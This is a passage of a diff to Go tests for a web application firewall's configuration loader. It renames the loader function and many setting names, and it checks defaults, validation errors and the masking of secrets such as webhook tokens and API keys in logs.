instanceName + ` "fsn1 app1", its default, is not 1 to 48 printable ASCII characters ` + @@ -1010,7 +1036,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending( t.Errorf("error %v, want %s", err, want) } - cfg := fromEnvironment(t, environment{instanceName: spaced}) + cfg := wafFromEnvironment(t, environment{instanceName: spaced}) if cfg.LogRemoteAppName != spaced { t.Errorf( "not sending, %s is %q", @@ -1021,7 +1047,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending( sending[logRemoteAppName] = instance - cfg = fromEnvironment(t, sending) + cfg = wafFromEnvironment(t, sending) if cfg.LogRemoteAppName != instance { t.Errorf("set to %s, %s is %q", instance, logRemoteAppName, cfg.LogRemoteAppName) @@ -1031,7 +1057,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending( func TestAppNameSetStopsTheStartWhileSending(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{ + _, err := config.WAFFromEnvironment(environment{ logRemoteURL: remoteURL, instanceName: instance, logRemoteAppName: "my app", @@ -1047,7 +1073,7 @@ func TestAppNameSetStopsTheStartWhileSending(t *testing.T) { func TestAlertSettingsDefaults(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{}) + cfg := wafFromEnvironment(t, environment{}) if cfg.AlertWebhookURL != nil || len(cfg.AlertWebhookHeaders) != 0 || cfg.AlertSlackWebhookURL != nil || cfg.AlertNtfyURL != nil || @@ -1080,7 +1106,7 @@ func TestAlertSettingsAsSet(t *testing.T) { token = "tk_0123456789abcdefghijklmnopq" ) - cfg := fromEnvironment(t, environment{ + cfg := wafFromEnvironment(t, environment{ alertWebhookURL: webhook, alertWebhookHeaders: "Authorization: Bearer abc:def , x-team:ops", alertSlackWebhookURL: slack, @@ -1118,7 +1144,7 @@ func TestAlertSettingsAsSet(t *testing.T) { func TestAlertSettingsSetEmptyOrOff(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{ + cfg := wafFromEnvironment(t, environment{ alertWebhookURL: "", alertSlackWebhookURL: "", alertNtfyURL: "", alertNtfyToken: "", alertEvents: "", alertCooldown: off, alertMaxPerHour: off, }) @@ -1176,7 +1202,7 @@ func TestWebhookHeadersAreLoggedMaskedAndNeverShown(t *testing.T) { const secret = "Bearer 0123456789abcdef" - cfg := fromEnvironment(t, environment{ + cfg := wafFromEnvironment(t, environment{ alertWebhookHeaders: "Authorization:" + secret + ",X-Team:ops", }) @@ -1195,7 +1221,7 @@ func TestWebhookHeadersAreLoggedMaskedAndNeverShown(t *testing.T) { } // An item that is not a header is named by its place, not shown. - _, err := config.FromEnvironment(environment{ + _, err := config.WAFFromEnvironment(environment{ alertWebhookHeaders: "X-Team:ops," + secret, }.viper()) @@ -1216,7 +1242,7 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) { "https://hooks.example:8443?token=" + secret: "https://hooks.example:8443/********", "http://[2001:db8::1]:8080": "http://[2001:db8::1]:8080", } { - cfg := fromEnvironment(t, environment{alertWebhookURL: value}) + cfg := wafFromEnvironment(t, environment{alertWebhookURL: value}) var out bytes.Buffer @@ -1235,7 +1261,7 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) { "ftp://hooks.example/services/" + secret, "https://hooks.example/services/%zz" + secret, } { - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{alertWebhookURL: value}.viper(), ) @@ -1252,7 +1278,7 @@ func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) { const token = "tk_0123456789abcdefghijklmnopq" - cfg := fromEnvironment(t, environment{ + cfg := wafFromEnvironment(t, environment{ alertSlackWebhookURL: "https://hooks.slack.example/services/T0123/B4567/abcdef", alertNtfyURL: "https://ntfy.example/sww-alerts", alertNtfyToken: token, @@ -1291,7 +1317,7 @@ func TestNtfyTokenWithAControlCharacterStopsTheStartWithoutShowingIt( "set": {alertNtfyToken: token + "\r"}, "in a file": {alertNtfyToken + "_FILE": writeFile(t, token+"\r\n")}, } { - _, err := config.FromEnvironment(env.viper()) + _, err := config.WAFFromEnvironment(env.viper()) want := alertNtfyToken + ": holds a control character, such as the " + "carriage return of a Windows line end" @@ -1308,7 +1334,7 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet( const name = "fsn1app1\r" - _, err := config.FromEnvironment(environment{ + _, err := config.WAFFromEnvironment(environment{ instanceName: name, alertNtfyURL: "https://ntfy.example/sww-alerts", }.viper()) @@ -1319,7 +1345,7 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet( t.Errorf("error %v, want %s", err, want) } - cfg := fromEnvironment(t, environment{instanceName: name}) + cfg := wafFromEnvironment(t, environment{instanceName: name}) if cfg.InstanceName != name { t.Errorf( "not sending to ntfy, %s is %q", @@ -1339,7 +1365,7 @@ func TestInstanceNameNotUTF8StopsTheStart(t *testing.T) { "set": {instanceName: latin1}, "in a file": {instanceName + "_FILE": writeFile(t, latin1+"\n")}, } { - _, err := config.FromEnvironment(env.viper()) + _, err := config.WAFFromEnvironment(env.viper()) want := instanceName + `: "caf\xe9" is not valid UTF-8` if err == nil || err.Error() != want { @@ -1351,7 +1377,7 @@ func TestInstanceNameNotUTF8StopsTheStart(t *testing.T) { func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{ + _, err := config.WAFFromEnvironment(environment{ tagDeny: "country=cn,country=ru", allowedCountries: "de,RU", }.viper()) @@ -1370,17 +1396,17 @@ func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) { func TestLookupSettingsAsSet(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{ - lookupTimeout: "500ms", addLookupHeaders: enabled, + cfg := wafFromEnvironment(t, environment{ + asnAndCountryLookupTimeout: "500", addLookupHeaders: enabled, }) - wantLookupSettings(t, cfg, config.Config{ - LookupSource: defaultLookupSource, LookupTimeout: 500 * time.Millisecond, + wantLookupSettings(t, cfg, config.WAF{ + LookupSource: defaultLookupSource, ASNAndCountryLookupTimeout: 500 * time.Millisecond, AddLookupHeaders: true, }) - cfg = fromEnvironment(t, environment{lookupSource: off}) - wantLookupSettings(t, cfg, config.Config{ - LookupSource: off, LookupTimeout: 800 * time.Millisecond, + cfg = wafFromEnvironment(t, environment{lookupSource: off}) + wantLookupSettings(t, cfg, config.WAF{ + LookupSource: off, ASNAndCountryLookupTimeout: 800 * time.Millisecond, }) } @@ -1389,7 +1415,7 @@ func TestLookupDBPathGoesWithTheFileSourceAlone(t *testing.T) { const path = "/var/lib/ipinfo/ipinfo_lite.mmdb" - cfg := fromEnvironment( + cfg := wafFromEnvironment( t, environment{lookupSource: fileSource, lookupDBPath: path}, ) @@ -1421,7 +1447,7 @@ func TestLookupDBPathGoesWithTheFileSourceAlone(t *testing.T) { lookupDBPath + ": is set while " + lookupSource + " is off; only file reads it", }, } { - _, err := config.FromEnvironment(tc.env.viper()) + _, err := config.WAFFromEnvironment(tc.env.viper()) if err == nil || err.Error() != tc.want { t.Errorf("settings %v: error %v, want %s", tc.env, err, tc.want) } @@ -1437,9 +1463,9 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { tagDeny: "country=KP", tagLimitPercent: "asn=64496:50", asnLimitPercentURL: asnURL, - asnBytesPercent: "AS64496:50", - countryBytesPercent: "cn:25", - unknownLimitPercent: "99", + asnBytesLimitPercent: "AS64496:50", + countryBytesLimitPercent: "cn:25", + unknownCountryLimitPercent: "99", anomalyASN + requestsPerMinute: "1000", anomalyASN + requestsPerHour: "10000", anomalyASN + bytesPerMinute: "1G", @@ -1448,7 +1474,7 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { t.Run(name, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{ + _, err := config.WAFFromEnvironment(environment{ lookupSource: off, name: value, }.viper()) if err == nil || !strings.HasPrefix(err.Error(), name+": ") || @@ -1464,15 +1490,16 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { } // Set empty, the lists need nothing looked up, and nor does - // SWW_WAF_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, a tag the + // SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT at 100, which lowers no limit, a tag the // lookup does not give, an anomaly threshold per AS number that is off, // any other anomaly threshold, or a blocklist. env := environment{ - lookupSource: off, allowedCountries: "", asnBytesPercent: "", + lookupSource: off, allowedCountries: "", asnBytesLimitPercent: "", tagLists: "torexit=https://example.com/tor.txt,vpn=https://example.com/vpn.txt", tagDeny: torExitTag, tagLimitPercent: "vpn:50", - countryBytesPercent: "", unknownLimitPercent: "100", asnLimitPercentURL: "", - blocklistURLs: dropURL, + countryBytesLimitPercent: "", unknownCountryLimitPercent: "100", + asnLimitPercentURL: "", + blocklistURLs: dropURL, } for _, name := range anomalyThresholds() { env[name] = "1000" @@ -1481,25 +1508,25 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { } } - fromEnvironment(t, env) + wafFromEnvironment(t, env) } func TestAnomalySettingsDefaults(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{}) + cfg := wafFromEnvironment(t, environment{}) wantAllOff(t, cfg) if cfg.AnomalyNetV4Prefix != 24 || cfg.AnomalyNetV6Prefix != 48 || - len(cfg.WatchNets) != 0 { + len(cfg.AnomalyWatchedNets) != 0 { t.Errorf( "%s, %s and %s gave %d, %d and %v, want 24, 48 and none", anomalyNetV4Prefix, anomalyNetV6Prefix, - watchNets, + anomalyWatchedNets, cfg.AnomalyNetV4Prefix, cfg.AnomalyNetV6Prefix, - cfg.WatchNets, + cfg.AnomalyWatchedNets, ) } } @@ -1512,7 +1539,8 @@ func TestAnomalySettingsAsSet(t *testing.T) { anomalyNetV4Prefix: "16", anomalyNetV6Prefix: "56", // Spaces around a name or a netblock, and a bare address. - watchNets: "office = 203.0.113.0/24, scraper-x=198.51.100.7,v6=2001:db8::/32", + anomalyWatchedNets: "office = 203.0.113.0/24, " + + "scraper-x=198.51.100.7,v6=2001:db8::/32", } want := map[string]anomaly.Thresholds{} @@ -1528,7 +1556,7 @@ func TestAnomalySettingsAsSet(t *testing.T) { } } - cfg := fromEnvironment(t, env) + cfg := wafFromEnvironment(t, env) if got := thresholdsByScope(cfg); !maps.Equal(got, want) { t.Errorf("thresholds by scope\n%+v\nwant\n%+v", got, want) @@ -1543,15 +1571,15 @@ func TestAnomalySettingsAsSet(t *testing.T) { {Name: "v6", Netblock: netip.MustParsePrefix("2001:db8::/32")}, } if cfg.AnomalyNetV4Prefix != 16 || cfg.AnomalyNetV6Prefix != 56 || - !slices.Equal(cfg.WatchNets, wantNamed) { + !slices.Equal(cfg.AnomalyWatchedNets, wantNamed) { t.Errorf( "%s, %s and %s gave %d, %d and %v, want 16, 56 and %v", anomalyNetV4Prefix, anomalyNetV6Prefix, - watchNets, + anomalyWatchedNets, cfg.AnomalyNetV4Prefix, cfg.AnomalyNetV6Prefix, - cfg.WatchNets, + cfg.AnomalyWatchedNets, wantNamed, ) } @@ -1561,21 +1589,21 @@ func TestAnomalySettingsAsSet(t *testing.T) { env[name] = off } - wantAllOff(t, fromEnvironment(t, env)) + wantAllOff(t, wafFromEnvironment(t, env)) } // thresholdsByScope returns cfg's anomaly thresholds, each by the prefix // of its scope's settings. -func thresholdsByScope(cfg *config.Config) map[string]anomaly.Thresholds { +func thresholdsByScope(cfg *config.WAF) map[string]anomaly.Thresholds { return map[string]anomaly.Thresholds{ anomalyClient: cfg.AnomalyClient, anomalyNet: cfg.AnomalyNet, anomalyASN: cfg.AnomalyASN, anomalyTotal: cfg.AnomalyTotal, - watch: cfg.AnomalyWatch, + anomalyWatchedNet: cfg.AnomalyWatchedNet, } } // wantAllOff checks that every anomaly threshold of cfg is off. -func wantAllOff(t *testing.T, cfg *config.Config) { +func wantAllOff(t *testing.T, cfg *config.WAF) { t.Helper() for scope, thresholds := range thresholdsByScope(cfg) { @@ -1604,25 +1632,27 @@ func TestInvalidAnomalySettingStopsTheStartSayingWhatIsWrong(t *testing.T) { {anomalyClient + requestsPerMinute, "1K", `"1K"` + notCount}, {anomalyNet + requestsPerHour, "0", `"0"` + notPositive}, {anomalyTotal + bytesPerMinute, "1T", `"1T"` + notSize}, - {watch + bytesPerHour, "-1G", `"-1G"` + notPositive}, + {anomalyWatchedNet + bytesPerHour, "-1G", `"-1G"` + notPositive}, {anomalyNetV4Prefix, "33", `"33"` + notV4Prefix}, {anomalyNetV4Prefix, off, `"off"` + notV4Prefix}, {anomalyNetV6Prefix, "129", `"129"` + notV6Prefix}, {anomalyNetV6Prefix, "/48", `"/48"` + notV6Prefix}, - {watchNets, "office", `"office"` + notNamed}, - {watchNets, "=203.0.113.0/24", `"=203.0.113.0/24"` + notNamed}, - {watchNets, "office=203.0.113.300/24", `"203.0.113.300/24"` + notNetblock}, - {watchNets, officeNetblock + ",", `"` + officeNetblock + `," has an empty item ` + - `in its list`}, + {anomalyWatchedNets, "office", `"office"` + notNamed}, + {anomalyWatchedNets, "=203.0.113.0/24", `"=203.0.113.0/24"` + notNamed}, + {anomalyWatchedNets, "office=203.0.113.300/24", `"203.0.113.300/24"` + notNetblock}, { - watchNets, officeNetblock + "," + scraperNetblock + ",office=192.0.2.0/24", + anomalyWatchedNets, officeNetblock + ",", + `"` + officeNetblock + `," has an empty item in its list`, + }, + { + anomalyWatchedNets, officeNetblock + "," + scraperNetblock + ",office=192.0.2.0/24", `"office" is listed twice`, }, } { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{tc.name: tc.value}.viper(), ) @@ -1648,7 +1678,7 @@ func TestTagSettingsAsSet(t *testing.T) { // Names and tags in either case, an AS number with leading zeros, and a // name holding a =. - cfg := fromEnvironment(t, environment{ + cfg := wafFromEnvironment(t, environment{ tagLists: "TorExit=" + torURL + ", vpn=mullvad=https://example.com/mullvad.txt", dnsblZones: "Zen.example", @@ -1687,7 +1717,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) { const rw = "https://routewatch.example" - if cfg := fromEnvironment(t, environment{}); cfg.RouteWatchURL != "" { + if cfg := wafFromEnvironment(t, environment{}); cfg.RouteWatchURL != "" { t.Errorf( "default %s is %q, want unset", routeWatchURL, @@ -1695,7 +1725,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) { ) } - cfg := fromEnvironment(t, environment{ + cfg := wafFromEnvironment(t, environment{ routeWatchURL: rw, tagDeny: "prefix=2001:DB8::/32", tagLimitPercent: "prefix=192.0.2.0/24:50", }) @@ -1712,7 +1742,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) { } // routewatch gives asn= tags too, so an asn= tag needs no lookups while it is set. - fromEnvironment(t, environment{ + wafFromEnvironment(t, environment{ lookupSource: off, routeWatchURL: rw, tagDeny: "asn=64496", }) @@ -1732,7 +1762,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) { {environment{lookupSource: off, routeWatchURL: rw, tagDeny: "country=DE"}, tagDeny}, {environment{lookupSource: off, tagDeny: "asn=64496"}, tagDeny}, } { - _, err := config.FromEnvironment(stopped.env.viper()) + _, err := config.WAFFromEnvironment(stopped.env.viper()) if err == nil || !strings.HasPrefix(err.Error(), stopped.name+": ") { t.Errorf( "%v gave the error %v, want one naming %s", @@ -1744,7 +1774,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) { } badURL := environment{routeWatchURL: "ftp://routewatch.example"} - _, err := config.FromEnvironment(badURL.viper()) + _, err := config.WAFFromEnvironment(badURL.viper()) want := routeWatchURL + `: "ftp://routewatch.example" is not an http or https URL ` + "without a user or a fragment, such as https://routewatch.example" @@ -1789,17 +1819,17 @@ func TestTagThatNoRequestCanGetIsToldApartFromOneItCan(t *testing.T) { {exploitTag, environment{tagDeny: exploitTag}, ""}, { exploitTag + " with rule files off", - environment{tagDeny: exploitTag, rulesEnabled: disabled}, "", + environment{tagDeny: exploitTag, ruleFilesEnabled: disabled}, "", }, { exploitTag + " with the Core Rule Set off", - environment{tagDeny: exploitTag, wafMode: off}, "", + environment{tagDeny: exploitTag, coreRuleSetMode: off}, "", }, } { t.Run(tc.name, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(tc.env.viper()) + _, err := config.WAFFromEnvironment(tc.env.viper()) switch { case tc.want == "" && err != nil: @@ -1837,7 +1867,7 @@ func TestErrorOfATagSettingLeavesOutAZoneKey(t *testing.T) { {tagLimitPercent, tag + ":50," + tag + " :25", twice}, {tagLimitPercent, tag + ":50,,", emptyItem}, } { - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{tc.name: tc.value}.viper(), ) @@ -1878,7 +1908,7 @@ func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) { want := tagLists + `: "` + tc.listURL + `" is in SWW_WAF_BLOCKLIST_URLS, is ` + "SWW_WAF_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too" - _, err := config.FromEnvironment(tc.env.viper()) + _, err := config.WAFFromEnvironment(tc.env.viper()) if err == nil || err.Error() != want { t.Errorf("error %v, want %s", err, want) } @@ -1889,40 +1919,41 @@ func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) { func TestBiasedThresholdsAsSet(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{}) - if len(cfg.ASNBytesPercent) != 0 || len(cfg.CountryBytesPercent) != 0 || - cfg.UnknownLimitPercent != 100 { + cfg := wafFromEnvironment(t, environment{}) + if len(cfg.ASNBytesLimitPercent) != 0 || + len(cfg.CountryBytesLimitPercent) != 0 || + cfg.UnknownCountryLimitPercent != 100 { t.Errorf( "biased thresholds %v, %v and %d by default, "+ "want two empty lists and 100", - cfg.ASNBytesPercent, - cfg.CountryBytesPercent, - cfg.UnknownLimitPercent, + cfg.ASNBytesLimitPercent, + cfg.CountryBytesLimitPercent, + cfg.UnknownCountryLimitPercent, ) } // AS numbers and countries in either case, an AS number with leading // zeros, 0 and 100. - cfg = fromEnvironment(t, environment{ - asnBytesPercent: "as16276:75", - countryBytesPercent: "ru:10", - unknownLimitPercent: "0", + cfg = wafFromEnvironment(t, environment{ + asnBytesLimitPercent: "as16276:75", + countryBytesLimitPercent: "ru:10", + unknownCountryLimitPercent: "0", }) for name, tc := range map[string]struct{ got, want map[string]int64 }{ - asnBytesPercent: {cfg.ASNBytesPercent, map[string]int64{"AS16276": 75}}, - countryBytesPercent: {cfg.CountryBytesPercent, map[string]int64{"RU": 10}}, + asnBytesLimitPercent: {cfg.ASNBytesLimitPercent, map[string]int64{"AS16276": 75}}, + countryBytesLimitPercent: {cfg.CountryBytesLimitPercent, map[string]int64{"RU": 10}}, } { if !maps.Equal(tc.got, tc.want) { t.Errorf("%s gave %v, want %v", name, tc.got, tc.want) } } - if cfg.UnknownLimitPercent != 0 { + if cfg.UnknownCountryLimitPercent != 0 { t.Errorf( "%s gave %d, want 0", - unknownLimitPercent, - cfg.UnknownLimitPercent, + unknownCountryLimitPercent, + cfg.UnknownCountryLimitPercent, ) } } @@ -1937,25 +1968,25 @@ func TestInvalidBiasedThresholdStopsTheStartSayingWhatIsWrong(t *testing.T) { ) for _, tc := range []struct{ name, value, want string }{ - {asnBytesPercent, "14061:50", `"14061"` + notASN}, - {asnBytesPercent, "AS4294967296:50", `"AS4294967296"` + notASN}, - {asnBytesPercent, "AS14061", `"AS14061"` + notItem}, - {asnBytesPercent, "AS14061:101", `"101"` + notPercent}, - {asnBytesPercent, "AS14061:50,as14061:25", `"as14061" is listed twice`}, + {asnBytesLimitPercent, "14061:50", `"14061"` + notASN}, + {asnBytesLimitPercent, "AS4294967296:50", `"AS4294967296"` + notASN}, + {asnBytesLimitPercent, "AS14061", `"AS14061"` + notItem}, + {asnBytesLimitPercent, "AS14061:101", `"101"` + notPercent}, + {asnBytesLimitPercent, "AS14061:50,as14061:25", `"as14061" is listed twice`}, { - countryBytesPercent, "nk:25", + countryBytesLimitPercent, "nk:25", `"nk" is not a two-letter country code such as de or kp`, }, - {countryBytesPercent, "cn:25,CN:50", `"CN" is listed twice`}, - {asnBytesPercent, "AS14061:-1", `"-1"` + notPercent}, - {countryBytesPercent, "cn:50%", `"50%"` + notPercent}, - {unknownLimitPercent, "101", `"101"` + notPercent}, - {unknownLimitPercent, off, `"off"` + notPercent}, + {countryBytesLimitPercent, "cn:25,CN:50", `"CN" is listed twice`}, + {asnBytesLimitPercent, "AS14061:-1", `"-1"` + notPercent}, + {countryBytesLimitPercent, "cn:50%", `"50%"` + notPercent}, + {unknownCountryLimitPercent, "101", `"101"` + notPercent}, + {unknownCountryLimitPercent, off, `"off"` + notPercent}, } { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{tc.name: tc.value}.viper(), ) @@ -1975,7 +2006,7 @@ const ( asnURL = "https://lists.example/asn.txt" ) -// The actions of SWW_WAF_BLOCKLIST_ACTION, as Config gives them. +// The actions of SWW_WAF_BLOCKLIST_ACTION, as config.WAF gives them. const ( actionDeny = "deny" actionLimit = "limit" @@ -1985,7 +2016,7 @@ const ( func TestReputationSettingsAsSet(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{}) + cfg := wafFromEnvironment(t, environment{}) if len(cfg.BlocklistURLs) != 0 || cfg.BlocklistRefresh != 24*time.Hour || cfg.BlocklistAction != actionDeny || cfg.ASNLimitPercentURL != "" { t.Errorf( @@ -2012,7 +2043,7 @@ func TestReputationSettingsAsSet(t *testing.T) { {"limit:0", actionLimit, 0}, } { // An hour, the shortest refresh allowed. - cfg := fromEnvironment(t, environment{ + cfg := wafFromEnvironment(t, environment{ blocklistURLs: dropURL + ", " + torURL, blocklistRefresh: "1h", blocklistAction: tc.value, asnLimitPercentURL: asnURL, }) @@ -2071,7 +2102,7 @@ func TestInvalidReputationSettingStopsTheStartSayingWhatIsWrong( t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{tc.name: tc.value}.viper(), ) @@ -2086,7 +2117,7 @@ func TestInvalidReputationSettingStopsTheStartSayingWhatIsWrong( func TestASNLimitPercentURLThatIsABlocklistStopsTheStart(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(environment{ + _, err := config.WAFFromEnvironment(environment{ blocklistURLs: dropURL + "," + asnURL, asnLimitPercentURL: asnURL, }.viper()) @@ -2109,19 +2140,21 @@ const ( func TestDNSBLSettingsAsSet(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{}) + cfg := wafFromEnvironment(t, environment{}) if len(cfg.DNSBLZones) != 0 || cfg.DNSBLResolver.IsValid() || - cfg.ReputationAction != actionLimit || cfg.ReputationLimitPercent != 25 || - cfg.ReputationCacheTTL != 24*time.Hour || cfg.ReputationTimeout != 2*time.Second { + cfg.DNSBLAbuseIPDBAction != actionLimit || + cfg.DNSBLAbuseIPDBLimitPercent != 25 || + cfg.IPReputationCacheTTL != 24*time.Hour || + cfg.DNSBLAbuseIPDBTimeout != 2*time.Second { t.Errorf( "by default, the zones %v, the resolver %s, the action %s:%d, the TTL %s "+ "and the timeout %s, want no zone, no resolver, limit:25, 24h and 2s", cfg.DNSBLZones, cfg.DNSBLResolver, - cfg.ReputationAction, - cfg.ReputationLimitPercent, - cfg.ReputationCacheTTL, - cfg.ReputationTimeout, + cfg.DNSBLAbuseIPDBAction, + cfg.DNSBLAbuseIPDBLimitPercent, + cfg.IPReputationCacheTTL, + cfg.DNSBLAbuseIPDBTimeout, ) } @@ -2132,7 +2165,7 @@ func TestDNSBLSettingsAsSet(t *testing.T) { for _, tc := range []struct { zones, resolver, action string - // want are the zones, resolver, action and percent Config gives. + // want are the zones, resolver, action and percent config.WAF gives. want []string wantResolver string wantAction string @@ -2155,31 +2188,31 @@ func TestDNSBLSettingsAsSet(t *testing.T) { []string{dronebl}, "[2001:db8::53]:5353", actionLimit, 0, }, } { - cfg := fromEnvironment(t, environment{ - dnsblZones: tc.zones, dnsblResolver: tc.resolver, reputationAction: tc.action, - reputationCacheTTL: "12h", reputationTimeout: "3s", + cfg := wafFromEnvironment(t, environment{ + dnsblZones: tc.zones, dnsblResolver: tc.resolver, dnsblAbuseIPDBAction: tc.action, + ipReputationCacheTTL: "12h", dnsblAbuseIPDBTimeout: "3000", }) if !slices.Equal(cfg.DNSBLZones, tc.want) || cfg.DNSBLResolver.String() != tc.wantResolver || - cfg.ReputationAction != tc.wantAction || - cfg.ReputationLimitPercent != tc.wantPercent || - cfg.ReputationCacheTTL != 12*time.Hour || - cfg.ReputationTimeout != 3*time.Second { + cfg.DNSBLAbuseIPDBAction != tc.wantAction || + cfg.DNSBLAbuseIPDBLimitPercent != tc.wantPercent || + cfg.IPReputationCacheTTL != 12*time.Hour || + cfg.DNSBLAbuseIPDBTimeout != 3*time.Second { t.Errorf( "%s=%s, %s=%s and %s=%s gave %v, %s, %s:%d, %s and %s", dnsblZones, tc.zones, dnsblResolver, tc.resolver, - reputationAction, + dnsblAbuseIPDBAction, tc.action, cfg.DNSBLZones, cfg.DNSBLResolver, - cfg.ReputationAction, - cfg.ReputationLimitPercent, - cfg.ReputationCacheTTL, - cfg.ReputationTimeout, + cfg.DNSBLAbuseIPDBAction, + cfg.DNSBLAbuseIPDBLimitPercent, + cfg.IPReputationCacheTTL, + cfg.DNSBLAbuseIPDBTimeout, ) } } @@ -2231,16 +2264,19 @@ func TestInvalidDNSBLSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { {dnsblResolver, "192.0.2.53:65536", `"192.0.2.53:65536"` + notResolver}, {dnsblResolver, "[2001:db8::53]", `"[2001:db8::53]"` + notResolver}, { - reputationAction, "ban", + dnsblAbuseIPDBAction, "ban", `"ban" is not deny, limit: such as limit:25, or log`, }, - {reputationCacheTTL, off, `"off"` + notAboveZero}, - {reputationTimeout, "0s", `"0s"` + notAboveZero}, + {ipReputationCacheTTL, off, `"off"` + notAboveZero}, + { + dnsblAbuseIPDBTimeout, "2s", + `"2s" is not a whole number of milliseconds above zero, such as 2000`, + }, } { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{tc.name: tc.value}.viper(), ) @@ -2274,7 +2310,7 @@ func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet( func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) { t.Parallel() - cfg := fromEnvironment( + cfg := wafFromEnvironment( t, environment{dnsblZones: dronebl + ", " + spamhaus}, ) @@ -2319,7 +2355,7 @@ func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) { {spamhaus + "," + otherZone, `"` + spamhausMasked + `" is listed twice`}, {spamhaus + ",,", "has an empty item in its list"}, } { - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{dnsblZones: tc.value}.viper(), ) @@ -2339,7 +2375,7 @@ func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) { func TestAbuseIPDBSettingsAsSet(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{}) + cfg := wafFromEnvironment(t, environment{}) if cfg.AbuseIPDBKey != "" || cfg.AbuseIPDBMinScore != 75 || cfg.AbuseIPDBDailyBudget != 900 { t.Errorf( @@ -2351,7 +2387,7 @@ func TestAbuseIPDBSettingsAsSet(t *testing.T) { ) } - cfg = fromEnvironment(t, environment{ + cfg = wafFromEnvironment(t, environment{ abuseIPDBKey: token, abuseIPDBMinScore: "0", abuseIPDBDailyBudget: "1", }) if cfg.AbuseIPDBKey != token || cfg.AbuseIPDBMinScore != 0 || @@ -2391,7 +2427,7 @@ func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong( t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{tc.name: tc.value}.viper(), ) @@ -2406,7 +2442,7 @@ func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong( func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{abuseIPDBKey: token}) + cfg := wafFromEnvironment(t, environment{abuseIPDBKey: token}) var out bytes.Buffer @@ -2423,7 +2459,7 @@ func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) { func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{}) + cfg := wafFromEnvironment(t, environment{}) if cfg.CrowdSecDecisionsURL != "" || cfg.CrowdSecKey != "" { t.Errorf( "by default, the decision list %q and the key %q, want neither", @@ -2438,7 +2474,7 @@ func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) { "https://crowdsec.example/lapi/": "https://crowdsec.example/lapi/v1/decisions", "https://crowdsec.example:8443/x": "https://crowdsec.example:8443/x/v1/decisions", } { - cfg := fromEnvironment( + cfg := wafFromEnvironment( t, environment{crowdSecURL: lapi, crowdSecKey: token}, ) @@ -2521,7 +2557,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { t.Run(tc.name, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment(tc.env.viper()) + _, err := config.WAFFromEnvironment(tc.env.viper()) if err == nil || err.Error() != tc.want { t.Errorf("error %v, want %s", err, tc.want) } @@ 